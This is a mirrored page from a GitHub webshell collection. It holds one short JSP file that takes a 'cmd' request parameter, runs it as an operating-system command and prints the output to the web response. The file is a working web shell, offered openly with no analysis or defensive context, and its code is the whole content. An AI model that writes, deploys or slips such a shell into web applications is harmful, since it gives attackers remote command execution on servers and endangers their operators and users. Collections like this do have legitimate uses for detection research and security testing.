mirror of
https://github.com/tennc/webshell
synced 2024-11-24 20:23:04 +00:00
18 lines
537 B
Text
18 lines
537 B
Text
|
|
||
|
<%@ page import="java.io.InputStream" %>
|
||
|
<%@ page import="java.io.BufferedReader" %>
|
||
|
<%@ page import="java.io.InputStreamReader" %>
|
||
|
<%@page language="java" pageEncoding="utf-8" %>
|
||
|
|
||
|
|
||
|
<%
|
||
|
String cmd = request.getParameter("cmd");
|
||
|
Process process = Runtime.getRuntime().exec(cmd);
|
||
|
InputStream is = process.getInputStream();
|
||
|
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
|
||
|
String r = null;
|
||
|
while((r = bufferedReader.readLine())!=null){
|
||
|
response.getWriter().println(r);
|
||
|
}
|
||
|
%>
|